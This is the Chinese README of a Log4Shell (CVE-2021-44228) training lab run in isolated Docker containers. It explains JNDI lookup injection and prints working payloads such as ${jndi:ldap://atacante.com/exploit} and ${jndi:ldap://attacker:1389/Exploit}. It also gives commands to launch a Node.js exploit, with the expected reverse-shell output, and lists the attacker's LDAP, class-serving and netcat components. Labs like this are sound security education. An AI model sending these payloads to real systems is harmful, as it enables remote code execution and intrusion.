免责声明
本实验室 仅用于教育及安全研究目的。 所有流量均发生在隔离的 Docker 网络内部。 请勿将此材料用于真实系统或未经明确授权的场景。 不当使用可能构成犯罪。请负责任地使用。
Log4Shell 是一个于 2021 年 12 月被发现的关键漏洞(CVSS 10.0),存在于广泛用于 Java 应用程序的 Apache Log4j 2 日志库中。
Log4j 具有表达式插值功能:在记录消息时,它会解析 ${...} 格式的字符串。例如,${java:version} 会被替换为运行时的 Java 版本。
问题出在它对 JNDI(Java 命名和目录接口)协议的支持上。当 Log4j 遇到类似如下的表达式时:
${jndi:ldap://atacante.com/exploit}
它会指示 JVM 向攻击者的服务器发起一次 LDAP 查询。服务器会响应一个远程 Java 类的引用——而 JVM 会 下载并执行这个类,导致 远程代码执行(RCE)。
攻击向量很简单:任何被服务器记录的字段(HTTP 头部、表单字段、Cookie 等)都可能成为 payload 的入口。
2.0-beta9 至 2.14.12.15.0 中修复(并在 2.17.0 中彻底修复)该实验室模拟了一个使用受影响版本的 Java 应用程序。
GET http://localhost:8080/log
以下头部会被 Log4j 直接记录——其中任意一个都可能成为注入点:
X-Api-VersionUser-AgentX-Auth-Tokenattacker 容器)| 服务 | 端口 | 功能 |
|---|
docker-compose up --build
等待直至在日志中看到:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
在另一个终端中,运行 Node.js 漏洞利用程序:
node exploit/exploit.js
预期输出:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
观察运行 docker-compose 的终端。在 attacker 容器的日志中,你会看到反弹 shell 连接到达 9001 端口。
要确认在漏洞应用内部执行了 touch /tmp/pwned:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | Cyber Security Research
| 组件 | 版本 | 为何存在漏洞 |
|---|
| Apache Log4j | 2.14.1 | 无限制地解析 ${jndi:...} |
| JDK | 1.8.0_181 | 早于设置了 trustURLCodebase=false 的 8u191 补丁 |
| Spring Boot | 2.5.6 | 仅作为 Web 框架;漏洞来自 Log4j |
| marshalsec (LDAP) | 1389 | 接收 JNDI 查询并重定向至 HTTP 服务器 |
| Python HTTP 服务器 | 8888 | 向受害者 JVM 提供 Exploit.class 文件 |
| netcat 监听器 | 9001 | 接收反弹 shell 的连接 |